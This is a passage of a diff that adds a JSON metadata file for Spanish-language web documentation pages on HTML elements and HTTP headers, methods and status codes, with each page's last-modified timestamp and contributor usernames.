+    "modified": "2019-06-05T17:18:09.680Z",
+    "contributors": [
+      "Ivnosing",
+      "Sebastianz",
+      "saski",
+      "teoli",
+      "Klosma",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/li": {
+    "modified": "2019-03-18T21:11:04.870Z",
+    "contributors": [
+      "duduindo",
+      "chepegeek",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/link": {
+    "modified": "2019-03-23T23:41:37.686Z",
+    "contributors": [
+      "pawer13",
+      "israel-munoz",
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/main": {
+    "modified": "2019-03-23T23:25:22.761Z",
+    "contributors": [
+      "evaferreira",
+      "jesusbotella",
+      "teoli",
+      "jsalinas"
+    ]
+  },
+  "Web/HTML/Elemento/map": {
+    "modified": "2019-03-23T23:41:43.985Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/mark": {
+    "modified": "2020-10-15T21:04:57.447Z",
+    "contributors": [
+      "danielblazquez",
+      "feliperomero3",
+      "wbamberg",
+      "teoli",
+      "Flerex",
+      "hugohabel",
+      "inma_610",
+      "translatoon"
+    ]
+  },
+  "Web/HTML/Elemento/marquee": {
+    "modified": "2019-03-18T20:57:46.110Z",
+    "contributors": [
+      "gabriell24",
+      "erix2016",
+      "alexander171294"
+    ]
+  },
+  "Web/HTML/Elemento/menu": {
+    "modified": "2019-03-18T21:11:04.661Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/meta": {
+    "modified": "2019-03-23T23:42:35.250Z",
+    "contributors": [
+      "Sebastianz",
+      "feardarkness",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/multicol": {
+    "modified": "2019-03-23T22:36:14.458Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elemento/nav": {
+    "modified": "2020-10-15T21:18:57.198Z",
+    "contributors": [
+      "DagoGuevara",
+      "driconmax",
+      "teoli",
+      "martinbarce",
+      "makoescalzo"
+    ]
+  },
+  "Web/HTML/Elemento/nobr": {
+    "modified": "2019-03-18T21:35:49.711Z",
+    "contributors": [
+      "rhssr",
+      "Mexicotec"
+    ]
+  },
+  "Web/HTML/Elemento/noframes": {
+    "modified": "2019-03-23T23:42:28.640Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/noscript": {
+    "modified": "2019-03-23T23:42:26.569Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/object": {
+    "modified": "2020-10-15T22:22:23.263Z",
+    "contributors": [
+      "siregalado",
+      "iarah"
+    ]
+  },
+  "Web/HTML/Elemento/ol": {
+    "modified": "2020-02-03T21:28:29.355Z",
+    "contributors": [
+      "kevinar53",
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/option": {
+    "modified": "2019-03-23T22:38:56.017Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/HTML/Elemento/p": {
+    "modified": "2019-03-23T23:41:31.103Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/param": {
+    "modified": "2019-03-23T23:42:31.653Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/picture": {
+    "modified": "2019-07-20T20:15:37.196Z",
+    "contributors": [
+      "DagoGuevara",
+      "JulianSoto",
+      "alexlndn",
+      "danieltacho",
+      "IsraelFloresDGA",
+      "diegos2"
+    ]
+  },
+  "Web/HTML/Elemento/pre": {
+    "modified": "2019-03-18T21:11:04.209Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "_0x"
+    ]
+  },
+  "Web/HTML/Elemento/progress": {
+    "modified": "2020-10-15T21:22:45.390Z",
+    "contributors": [
+      "SphinxKnight",
+      "androsfenollosa",
+      "wbamberg",
+      "teoli",
+      "rubencidlara"
+    ]
+  },
+  "Web/HTML/Elemento/q": {
+    "modified": "2020-10-15T22:34:03.995Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/HTML/Elemento/s": {
+    "modified": "2019-03-18T21:11:03.985Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/samp": {
+    "modified": "2019-10-11T12:30:51.315Z",
+    "contributors": [
+      "danielblazquez",
+      "duduindo",
+      "Johsua",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/script": {
+    "modified": "2019-03-23T22:38:36.106Z",
+    "contributors": [
+      "ignasivs",
+      "raecillacastellana",
+      "ivandevp",
+      "alexander171294"
+    ]
+  },
+  "Web/HTML/Elemento/section": {
+    "modified": "2020-07-15T11:06:51.948Z",
+    "contributors": [
+      "timetrvlr",
+      "wbamberg",
+      "diegocanal",
+      "eljonims",
+      "teoli",
+      "ccarruitero",
+      "artopal"
+    ]
+  },
+  "Web/HTML/Elemento/select": {
+    "modified": "2019-03-23T22:38:39.246Z",
+    "contributors": [
+      "Fx-Enlcxx",
+      "AleV"
+    ]
+  },
+  "Web/HTML/Elemento/slot": {
+    "modified": "2020-10-15T22:05:53.326Z",
+    "contributors": [
+      "aguilerajl",
+      "Carlos-T",
+      "rhssr"
+    ]
+  },
+  "Web/HTML/Elemento/small": {
+    "modified": "2019-04-04T15:23:46.402Z",
+    "contributors": [
+      "danieltacho",
+      "drakzig",
+      "SphinxKnight",
+      "carloque",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/source": {
+    "modified": "2020-10-15T21:13:44.488Z",
+    "contributors": [
+      "guillermomartinmarco",
+      "teoli",
+      "inma_610"
+    ]
+  },
+  "Web/HTML/Elemento/span": {
+    "modified": "2019-03-24T00:17:34.814Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "torresnicolas",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/strike": {
+    "modified": "2019-03-18T21:11:03.623Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/strong": {
+    "modified": "2019-03-18T21:11:02.931Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/style": {
+    "modified": "2019-03-23T23:42:38.349Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/sub": {
+    "modified": "2020-10-15T21:18:49.449Z",
+    "contributors": [
+      "IsaacAaron",
+      "carloque",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/sup": {
+    "modified": "2020-10-15T21:18:45.044Z",
+    "contributors": [
+      "IsaacAaron",
+      "carloque",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/table": {
+    "modified": "2019-09-03T15:32:58.837Z",
+    "contributors": [
+      "teoli",
+      "jesanchez",
+      "cortega",
+      "tany"
+    ]
+  },
+  "Web/HTML/Elemento/td": {
+    "modified": "2019-03-23T22:38:37.555Z",
+    "contributors": [
+      "Kerinoxio",
+      "Zarkiel",
+      "raecillacastellana",
+      "tolano97"
+    ]
+  },
+  "Web/HTML/Elemento/template": {
+    "modified": "2020-10-15T21:52:05.945Z",
+    "contributors": [
+      "aguilerajl",
+      "ArtistNeverStop",
+      "Diego674",
+      "AlePerez92"
+    ]
+  },
+  "Web/HTML/Elemento/textarea": {
+    "modified": "2020-10-15T21:43:13.029Z",
+    "contributors": [
+      "camsa",
+      "fscholz",
+      "pekechis"
+    ]
+  },
+  "Web/HTML/Elemento/th": {
+    "modified": "2020-04-22T05:00:45.306Z",
+    "contributors": [
+      "blanchart",
+      "AgustinDPino",
+      "IXTRUnai",
+      "sapales"
+    ]
+  },
+  "Web/HTML/Elemento/time": {
+    "modified": "2020-10-15T21:18:39.499Z",
+    "contributors": [
+      "pardo-bsso",
+      "blanchart",
+      "IsraelFloresDGA",
+      "dsolism",
+      "mauriciabad",
+      "teoli",
+      "sebasmagri",
+      "makoescalzo"
+    ]
+  },
+  "Web/HTML/Elemento/title": {
+    "modified": "2019-10-10T16:32:45.843Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/tr": {
+    "modified": "2019-03-23T22:38:35.421Z",
+    "contributors": [
+      "raecillacastellana",
+      "FelipeGL"
+    ]
+  },
+  "Web/HTML/Elemento/track": {
+    "modified": "2020-10-15T22:33:21.321Z",
+    "contributors": [
+      "Pablo-No"
+    ]
+  },
+  "Web/HTML/Elemento/tt": {
+    "modified": "2019-03-18T21:11:03.301Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/u": {
+    "modified": "2019-03-18T21:11:03.114Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/ul": {
+    "modified": "2019-03-23T23:42:39.154Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/var": {
+    "modified": "2019-03-23T23:41:16.113Z",
+    "contributors": [
+      "BubuAnabelas",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/video": {
+    "modified": "2019-03-24T00:06:49.642Z",
+    "contributors": [
+      "wbamberg",
+      "untilbit",
+      "AlePerez92",
+      "teoli",
+      "inma_610",
+      "Izel"
+    ]
+  },
+  "Web/HTML/Elemento/wbr": {
+    "modified": "2019-04-26T19:10:14.131Z",
+    "contributors": [
+      "reymundus2",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elemento/xmp": {
+    "modified": "2019-03-23T22:38:49.554Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elementos_en_línea": {
+    "modified": "2019-03-23T22:46:15.359Z",
+    "contributors": [
+      "juanbrujo",
+      "raecillacastellana",
+      "vltamara"
+    ]
+  },
+  "Web/HTML/Formatos_admitidos_de_audio_y_video_en_html5": {
+    "modified": "2019-03-23T23:26:59.594Z",
+    "contributors": [
+      "wbamberg",
+      "vltamara",
+      "teoli",
+      "nekside"
+    ]
+  },
+  "Web/HTML/Imagen_con_CORS_habilitado": {
+    "modified": "2019-03-23T22:46:06.691Z",
+    "contributors": [
+      "MrCesar107",
+      "antoiba86",
+      "vltamara"
+    ]
+  },
+  "Web/HTML/La_importancia_de_comentar_correctamente": {
+    "modified": "2019-03-23T23:53:31.079Z",
+    "contributors": [
+      "teoli",
+      "Mgjbot",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Microdatos": {
+    "modified": "2019-03-23T22:12:50.480Z",
+    "contributors": [
+      "fitojb"
+    ]
+  },
+  "Web/HTML/Optimizing_your_pages_for_speculative_parsing": {
+    "modified": "2019-03-23T23:15:52.979Z",
+    "contributors": [
+      "jsapiains",
+      "joeljose",
+      "vltamara",
+      "manufosela",
+      "Montherdez"
+    ]
+  },
+  "Web/HTML/Quirks_Mode_and_Standards_Mode": {
+    "modified": "2019-03-23T22:00:35.023Z",
+    "contributors": [
+      "chrisdavidmills",
+      "alvaromontoro",
+      "mamptecnocrata",
+      "ungatoquecomesushi"
+    ]
+  },
+  "Web/HTML/Recursos_offline_en_firefox": {
+    "modified": "2019-03-19T07:43:37.221Z",
+    "contributors": [
+      "pixelmin",
+      "dmoralesm",
+      "teoli",
+      "vltamara",
+      "CodeMaxter",
+      "LuisArt",
+      "FCuchietti",
+      "MPoli",
+      "hugohabel",
+      "RickieesES",
+      "inma_610",
+      "Izel"
+    ]
+  },
+  "Web/HTML/Referencia": {
+    "modified": "2019-09-09T07:16:42.154Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "raecillacastellana",
+      "cosmesantos",
+      "vltamara",
+      "MegaChrono"
+    ]
+  },
+  "Web/HTML/Tipos_de_enlaces": {
+    "modified": "2019-03-23T22:46:17.969Z",
+    "contributors": [
+      "cmmp0112",
+      "_delta_",
+      "moisesalmonte",
+      "alvaromontoro",
+      "ivansx",
+      "vltamara"
+    ]
+  },
+  "Web/HTML/Transision_adaptativa_DASH": {
+    "modified": "2019-03-23T22:46:14.015Z",
+    "contributors": [
+      "AzazelN28",
+      "vltamara"
+    ]
+  },
+  "Web/HTML/Usando_audio_y_video_con_HTML5": {
+    "modified": "2019-10-10T16:52:54.661Z",
+    "contributors": [
+      "ElNobDeTfm",
+      "estebanz01",
+      "hedmon",
+      "blanchart",
+      "teoli",
+      "ciroid",
+      "cesar_ortiz_elPatox",
+      "StripTM",
+      "AngelFQC"
+    ]
+  },
+  "Web/HTML/anipular_video_por_medio_de_canvas": {
+    "modified": "2019-03-24T00:07:00.528Z",
+    "contributors": [
+      "teoli",
+      "inma_610"
+    ]
+  },
+  "Web/HTML/microformatos": {
+    "modified": "2019-03-23T22:46:15.016Z",
+    "contributors": [
+      "vltamara"
+    ]
+  },
+  "Web/HTML/Índice": {
+    "modified": "2019-01-16T22:12:02.767Z",
+    "contributors": [
+      "raecillacastellana",
+      "pekechis"
+    ]
+  },
+  "Web/HTTP": {
+    "modified": "2019-03-18T20:34:58.542Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "MarioECU",
+      "locolauty97",
+      "Sergio_Gonzalez_Collado",
+      "Ferrmolina",
+      "raecillacastellana",
+      "migdonio1",
+      "Erto",
+      "teoli"
+    ]
+  },
+  "Web/HTTP/Access_control_CORS": {
+    "modified": "2020-08-10T16:23:20.546Z",
+    "contributors": [
+      "wbamberg",
+      "afelopez",
+      "jbarcas",
+      "cefaloide",
+      "alcastic",
+      "franklevel",
+      "JuanMacias",
+      "psyban",
+      "manatico4",
+      "signados",
+      "Ricardolau",
+      "afbayonac",
+      "aurigadl",
+      "dcruz",
+      "Manhru",
+      "maedca"
+    ]
+  },
+  "Web/HTTP/Authentication": {
+    "modified": "2019-10-24T13:52:25.126Z",
+    "contributors": [
+      "bood-dev",
+      "Gochip",
+      "fcanellas",
+      "diegorec",
+      "kraneok",
+      "JuanMacias",
+      "_deiberchacon",
+      "DavidPeniafiel"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP": {
+    "modified": "2020-04-20T02:59:31.392Z",
+    "contributors": [
+      "obed3113",
+      "sanxofon",
+      "Sergio_Gonzalez_Collado",
+      "cissoid"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs": {
+    "modified": "2019-03-18T21:22:07.450Z",
+    "contributors": [
+      "Adorta4",
+      "carlosgocereceda"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/Datos_URIs": {
+    "modified": "2019-03-23T22:24:54.977Z",
+    "contributors": [
+      "Sergio_Gonzalez_Collado",
+      "AzazelN28",
+      "uclides"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP": {
+    "modified": "2019-03-23T22:10:11.567Z",
+    "contributors": [
+      "Sergio_Gonzalez_Collado",
+      "ChrisMHM"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/Identificación_recursos_en_la_Web": {
+    "modified": "2019-03-23T22:24:51.387Z",
+    "contributors": [
+      "DaniNz",
+      "Sergio_Gonzalez_Collado",
+      "ChrisMHM",
+      "uclides"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/MIME_types": {
+    "modified": "2019-11-18T08:03:54.325Z",
+    "contributors": [
+      "IsaacAaron",
+      "sanxofon",
+      "Sergio_Gonzalez_Collado",
+      "kevinmont",
+      "juanrarodriguez18",
+      "strattadb"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/MIME_types/Common_types": {
+    "modified": "2020-02-28T13:10:45.613Z",
+    "contributors": [
+      "chrisdavidmills",
+      "sanxofon",
+      "franklevel",
+      "gabrielnoe"
+    ]
+  },
+  "Web/HTTP/CORS/Errors": {
+    "modified": "2019-03-18T21:26:43.815Z",
+    "contributors": [
+      "nchevobbe"
+    ]
+  },
+  "Web/HTTP/CORS/Errors/CORSDidNotSucceed": {
+    "modified": "2020-03-20T09:22:59.137Z",
+    "contributors": [
+      "javier.camus",
+      "rotcl",
+      "MarianoRDZ"
+    ]
+  },
+  "Web/HTTP/CORS/Errors/CORSMissingAllowOrigin": {
+    "modified": "2020-03-10T05:27:13.697Z",
+    "contributors": [
+      "HermosinNunez",
+      "danhiel98",
+      "pyumbillo",
+      "rewin23"
+    ]
+  },
+  "Web/HTTP/CORS/Errors/CORSNotSupportingCredentials": {
+    "modified": "2020-03-25T19:41:08.379Z",
+    "contributors": [
+      "pablogalvezfotografiadeportiva"
+    ]
+  },
+  "Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed": {
+    "modified": "2019-10-08T04:58:57.176Z",
+    "contributors": [
+      "Concatenacion"
+    ]
+  },
+  "Web/HTTP/CORS/Errors/CORSRequestNotHttp": {
+    "modified": "2020-07-09T00:32:19.159Z",
+    "contributors": [
+      "agf0710",
+      "advica2016",
+      "BubuAnabelas",
+      "Juan_Pablo"
+    ]
+  },
+  "Web/HTTP/CSP": {
+    "modified": "2020-10-15T22:03:58.031Z",
+    "contributors": [
+      "lautaropaske",
+      "herleym",
+      "BubuAnabelas",
+      "vk496",
+      "CarlosRomeroVera"
+    ]
+  },
+  "Web/HTTP/Caching": {
+    "modified": "2019-03-18T21:21:15.259Z",
+    "contributors": [
+      "WilsonIsAliveClone",
+      "serarroy",
+      "ulisestrujillo"
+    ]
+  },
+  "Web/HTTP/Cookies": {
+    "modified": "2020-06-27T19:11:54.360Z",
+    "contributors": [
+      "vinjatovix",
+      "SphinxKnight",
+      "g.baldemar.77",
+      "alexlndn",
+      "rayrojas",
+      "jesuscampos",
+      "nachoperassi",
+      "cguimaraenz",
+      "eortizromero",
+      "omertafox"
+    ]
+  },
+  "Web/HTTP/Gestion_de_la_conexion_en_HTTP_1.x": {
+    "modified": "2019-03-23T22:03:37.565Z",
+    "contributors": [
+      "jose89gp",
+      "Sergio_Gonzalez_Collado"
+    ]
+  },
+  "Web/HTTP/Headers": {
+    "modified": "2019-12-10T13:29:15.931Z",
+    "contributors": [
+      "OneLoneFox",
+      "hamethassaf",
+      "darianbenito",
+      "MrcRjs",
+      "Watermelonnable",
+      "JurgenBlitz",
+      "ampersand89",
+      "fjuarez",
+      "fscholz"
+    ]
+  },
+  "Web/HTTP/Headers/Accept": {
+    "modified": "2020-10-15T21:55:42.853Z",
+    "contributors": [
+      "gabriel-ar"
+    ]
+  },
+  "Web/HTTP/Headers/Accept-Charset": {
+    "modified": "2020-10-15T22:13:56.858Z",
+    "contributors": [
+      "ArnoldFZ"
+    ]
+  },
+  "Web/HTTP/Headers/Accept-Ranges": {
+    "modified": "2020-10-15T21:52:24.088Z",
+    "contributors": [
+      "gerardo1sanchez"
+    ]
+  },
+  "Web/HTTP/Headers/Access-Control-Allow-Credentials": {
+    "modified": "2020-10-15T22:29:00.518Z",
+    "contributors": [
+      "BubuAnabelas",
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/HTTP/Headers/Access-Control-Allow-Headers": {
+    "modified": "2020-10-15T22:07:25.027Z",
+    "contributors": [
+      "_deiberchacon"
+    ]
+  },
+  "Web/HTTP/Headers/Access-Control-Allow-Methods": {
+    "modified": "2020-10-15T21:54:50.843Z",
+    "contributors": [
+      "irsequisious"
+    ]
+  },
+  "Web/HTTP/Headers/Access-Control-Allow-Origin": {
+    "modified": "2020-10-15T21:56:44.483Z",
+    "contributors": [
+      "estrelow",
+      "IsraelFloresDGA",
+      "aranzuze35",
+      "_deiberchacon",
+      "anxobotana",
+      "JhonAguiar"
+    ]
+  },
+  "Web/HTTP/Headers/Access-Control-Expose-Headers": {
+    "modified": "2020-10-15T22:06:29.086Z",
+    "contributors": [
+      "jorgeCaster",
+      "kraneok"
+    ]
+  },
+  "Web/HTTP/Headers/Age": {
+    "modified": "2020-10-15T22:10:53.345Z",
+    "contributors": [
+      "0xCGonzalo"
+    ]
+  },
+  "Web/HTTP/Headers/Allow": {
+    "modified": "2019-03-18T21:23:10.971Z",
+    "contributors": [
+      "ogaston"
+    ]
+  },
+  "Web/HTTP/Headers/Authorization": {
+    "modified": "2019-03-18T21:34:28.554Z",
+    "contributors": [
+      "kraneok",
+      "Watermelonnable"
+    ]
+  },
+  "Web/HTTP/Headers/Cache-Control": {
+    "modified": "2020-10-28T14:39:35.644Z",
+    "contributors": [
+      "noksenberg",
+      "IsraelFloresDGA",
+      "ervin_santos"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Disposition": {
+    "modified": "2020-10-15T21:58:39.489Z",
+    "contributors": [
+      "kbono",
+      "lagwy"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Encoding": {
+    "modified": "2020-10-15T21:53:14.848Z",
+    "contributors": [
+      "IT-Rafa",
+      "sevillacode"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Length": {
+    "modified": "2020-10-15T22:07:26.889Z",
+    "contributors": [
+      "aliciava00",
+      "efrencruz"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Location": {
+    "modified": "2020-10-15T22:29:48.071Z",
+    "contributors": [
+      "hecmonter"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Security-Policy": {
+    "modified": "2020-10-15T22:18:45.176Z",
+    "contributors": [
+      "rayrojas",
+      "mauril26",
+      "27z"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Type": {
+    "modified": "2020-10-15T21:58:35.257Z",
+    "contributors": [
+      "ivanfretes",
+      "omertafox",
+      "ValeriaRamos"
+    ]
+  },
+  "Web/HTTP/Headers/Cookie": {
+    "modified": "2020-10-15T21:55:41.792Z",
+    "contributors": [
+      "SSantiago90"
+    ]
+  },
+  "Web/HTTP/Headers/Cross-Origin-Resource-Policy": {
+    "modified": "2020-10-15T22:29:00.325Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/HTTP/Headers/ETag": {
+    "modified": "2020-10-15T21:57:09.273Z",
+    "contributors": [
+      "zechworld",
+      "evalenzuela",
+      "stwilberth",
+      "edgarrod71"
+    ]
+  },
+  "Web/HTTP/Headers/Expires": {
+    "modified": "2020-10-15T21:56:44.738Z",
+    "contributors": [
+      "ernesto.palafox"
+    ]
+  },
+  "Web/HTTP/Headers/Host": {
+    "modified": "2020-10-15T22:24:56.306Z",
+    "contributors": [
+      "escatel.bernal10",
+      "Alvarito-056"
+    ]
+  },
+  "Web/HTTP/Headers/Keep-Alive": {
+    "modified": "2020-10-15T22:02:52.123Z",
+    "contributors": [
+      "fernomenoide"
+    ]
+  },
+  "Web/HTTP/Headers/Link": {
+    "modified": "2020-10-15T22:28:59.441Z",
+    "contributors": [
+      "threevanny"
+    ]
+  },
+  "Web/HTTP/Headers/Origin": {
+    "modified": "2020-10-15T22:00:47.248Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "Abelhg"
+    ]
+  },
+  "Web/HTTP/Headers/Pragma": {
+    "modified": "2020-10-15T22:09:54.700Z",
+    "contributors": [
+      "ervin_santos"
+    ]
+  },
+  "Web/HTTP/Headers/Referer": {
+    "modified": "2020-10-15T21:53:10.093Z",
+    "contributors": [
+      "LastCyborg",
+      "fitojb",
+      "UltimoOrejonDelTarro"
+    ]
+  },
+  "Web/HTTP/Headers/Referrer-Policy": {
+    "modified": "2020-10-15T22:01:34.403Z",
+    "contributors": [
+      "fitojb"
+    ]
+  },
+  "Web/HTTP/Headers/Server": {
+    "modified": "2020-10-15T21:55:40.335Z",
+    "contributors": [
+      "sevillacode",
+      "TheSgtPepper23",
+      "irsequisious"
+    ]
+  },
+  "Web/HTTP/Headers/Set-Cookie": {
+    "modified": "2020-10-26T12:24:29.884Z",
+    "contributors": [
+      "ignacio-ifm",
+      "IsraelFloresDGA",
+      "rayrojas",
+      "ramonserrano",
+      "garolard"
+    ]
+  },
+  "Web/HTTP/Headers/Strict-Transport-Security": {
+    "modified": "2020-10-15T21:54:14.546Z",
+    "contributors": [
+      "AmadPS",
+      "pipe01",
+      "heilop",
+      "JulianSoto",
+      "pablolopezmera",
+      "Oxicode"
+    ]
+  },
+  "Web/HTTP/Headers/Transfer-Encoding": {
+    "modified": "2020-10-15T22:24:54.193Z",
+    "contributors": [
+      "0xCGonzalo"
+    ]
+  },
+  "Web/HTTP/Headers/User-Agent": {
+    "modified": "2020-10-15T22:00:44.883Z",
+    "contributors": [
+      "LeoOliva",
+      "Imvi10"
+    ]
+  },
+  "Web/HTTP/Headers/Vary": {
+    "modified": "2020-10-15T21:56:44.020Z",
+    "contributors": [
+      "JhonAguiar"
+    ]
+  },
+  "Web/HTTP/Headers/WWW-Authenticate": {
+    "modified": "2020-10-15T22:19:30.337Z",
+    "contributors": [
+      "malonso",
+      "Gytree"
+    ]
+  },
+  "Web/HTTP/Headers/X-Content-Type-Options": {
+    "modified": "2020-10-15T21:59:06.832Z",
+    "contributors": [
+      "clbustos",
+      "tonialfaro"
+    ]
+  },
+  "Web/HTTP/Headers/X-Forwarded-For": {
+    "modified": "2020-10-15T22:16:47.635Z",
+    "contributors": [
+      "choadev",
+      "martinfrad",
+      "camsa"
+    ]
+  },
+  "Web/HTTP/Headers/X-Frame-Options": {
+    "modified": "2020-10-15T21:57:01.709Z",
+    "contributors": [
+      "ervin_santos",
+      "Luiggy",
+      "setlord"
+    ]
+  },
+  "Web/HTTP/Headers/X-XSS-Protection": {
+    "modified": "2020-10-15T21:59:06.897Z",
+    "contributors": [
+      "JulioMoreyra",
+      "francinysalles",
+      "tonialfaro"
+    ]
+  },
+  "Web/HTTP/Messages": {
+    "modified": "2019-11-12T11:40:26.816Z",
+    "contributors": [
+      "emiedes",
+      "jose89gp",
+      "anibalortegap",
+      "Sergio_Gonzalez_Collado"
+    ]
+  },
+  "Web/HTTP/Methods": {
+    "modified": "2020-10-15T21:51:09.574Z",
+    "contributors": [
+      "andrpueb",
+      "eddydeath",
+      "JRaiden",
+      "JulianSoto",
+      "RamsesMartinez"
+    ]
+  },
+  "Web/HTTP/Methods/CONNECT": {
+    "modified": "2020-10-15T22:09:12.273Z",
+    "contributors": [
+      "jadiosc"
+    ]
+  },
+  "Web/HTTP/Methods/GET": {
+    "modified": "2020-10-15T22:07:33.379Z",
+    "contributors": [
+      "SphinxKnight",
+      "sercorc.12",
+      "oespino",
+      "RetelboP"
+    ]
+  },
+  "Web/HTTP/Methods/PATCH": {
+    "modified": "2020-10-04T20:15:30.024Z",
+    "contributors": [
+      "hamishwillee",
+      "cnietoc",
+      "SackmannDV",
+      "noecende"
+    ]
+  },
+  "Web/HTTP/Methods/POST": {
+    "modified": "2020-11-06T16:08:25.707Z",
+    "contributors": [
+      "Max_Gremory",
+      "JGarnica",
+      "qmarquez",
+      "DavidGalvis",
+      "sammye70",
+      "Sheppy",
+      "mtnalonso",
+      "Juenesis"
+    ]
+  },
+  "Web/HTTP/Methods/PUT": {
+    "modified": "2020-10-15T21:58:39.134Z",
+    "contributors": [
+      "mtnalonso"
+    ]
+  },
+  "Web/HTTP/Methods/TRACE": {
+    "modified": "2020-10-15T22:12:36.763Z",
+    "contributors": [
+      "pablobiedma"
+    ]
+  },
+  "Web/HTTP/Overview": {
+    "modified": "2020-08-07T11:46:49.430Z",
+    "contributors": [
+      "marcusdesantis",
+      "Enesimus",
+      "Rafasu",
+      "ChrisMHM",
+      "LuisGalicia",
+      "jose89gp",
+      "DaniNz",
+      "cabaag",
+      "Sergio_Gonzalez_Collado"
+    ]
+  },
+  "Web/HTTP/Peticiones_condicionales": {
+    "modified": "2019-03-18T21:19:37.220Z",
+    "contributors": [
+      "christianmg99"
+    ]
+  },
+  "Web/HTTP/Sesión": {
+    "modified": "2019-03-23T22:05:36.352Z",
+    "contributors": [
+      "Sergio_Gonzalez_Collado"
+    ]
+  },
+  "Web/HTTP/Status": {
+    "modified": "2020-10-01T02:41:07.109Z",
+    "contributors": [
+      "SphinxKnight",
+      "gonzalestino924",
+      "manuelguido",
+      "juliocesardeveloper",
+      "ismanapa",
+      "santiago.lator",
+      "leticia-acib",
+      "josecarbajalbolbot",
+      "StarViruZ",
+      "amircp",
+      "SebastianBar",
+      "serivt",
+      "Jens.B"
+    ]
+  },
+  "Web/HTTP/Status/100": {
+    "modified": "2020-10-15T21:56:53.445Z",
+    "contributors": [
+      "serivt"
+    ]
+  },
+  "Web/HTTP/Status/101": {
+    "modified": "2019-03-18T21:22:02.098Z",
+    "contributors": [
+      "jlamasfripp"
+    ]
+  },
+  "Web/HTTP/Status/200": {
+    "modified": "2020-10-15T22:05:24.611Z",
+    "contributors": [
+      "SphinxKnight",
+      "alexibarra55",
+      "jlamasfripp",
+      "gbarriosf",
+      "snaven10",
+      "Adriel_from_Nav"
+    ]
+  },
+  "Web/HTTP/Status/201": {
+    "modified": "2020-10-15T22:08:02.661Z",
+    "contributors": [
+      "WriestTavo"
+    ]
+  },
+  "Web/HTTP/Status/202": {
+    "modified": "2019-04-19T16:13:12.876Z",
+    "contributors": [
+      "Hibot12"
+    ]
+  },
+  "Web/HTTP/Status/203": {
+    "modified": "2020-06-14T20:53:26.311Z",
+    "contributors": [
+      "rayrojas"
+    ]
+  },
